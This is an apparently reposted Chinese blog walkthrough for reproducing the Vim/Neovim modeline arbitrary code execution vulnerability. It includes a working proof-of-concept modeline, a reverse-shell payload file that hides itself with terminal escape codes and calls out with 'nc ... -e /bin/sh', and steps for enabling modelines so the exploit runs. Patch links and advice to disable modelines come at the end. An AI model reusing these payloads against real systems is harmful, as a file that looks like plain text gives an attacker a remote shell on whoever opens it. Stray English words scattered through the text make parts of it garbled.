0x00:回顧git
《文本編輯器Vim/Neovim被曝任意代碼執行漏洞》github
聽聞不少人知道這個漏洞,可是有一部分人能復現成功,一部分人復現不出來。這裏我就我本身的復現經歷給你們演示一下。shell
git clone https://github.com/numirias/security.gitvim
0x01:復現編輯器
一、kali復現插件
桌面新創建一個poc.txt放入如下代碼,並用vim執行。blog
代碼:rem
:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="get
效果圖:it
成功執行
反彈shell腳本
新創建一個shell.txt放入如下代碼,Ip跟端口改爲你本身的,並用vim執行。
代碼:
\x1b[?7l\x1bSNothing here.\x1b:silent! w | call system(\'nohup nc 192.168.124.14 6666 -e /bin/sh &\') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails(\'set\\ fde=x\\ \\|\\ source\\!\\ \\%\') fdl=0: \x16\x1b[1G\x16\x1b[KNothing here."\x16\x1b[D \n
執行後報錯:
提示:處理模型行時檢測到錯誤!!
處理方式:
在50行這裏添加一個「set modeline」 而後esc保存退出,而後執行
source ~/.vimrc讓它生效。
本地開啓監聽
kali用vim執行txt
本機獲得shell
0x02:防範
Vim補丁8.1.1365
https://github.com/vim/vim/commit/5357552
Neovim補丁(在v0.3.6中發佈)
https://github.com/neovim/neovim/pull/10082
https://github.com/neovim/neovim/releases/tag/v0.3.6
除了修補以外,建議在vimrc(set nomodeline)中禁用model,使用securemodelines 插件,或者禁用modelineexpr(由於補丁8.1.1366,僅限Vim)以禁用model中的表達式。
聲明:本文章轉自 公衆號:luomiweixiong 若有侵權聯繫博主刪除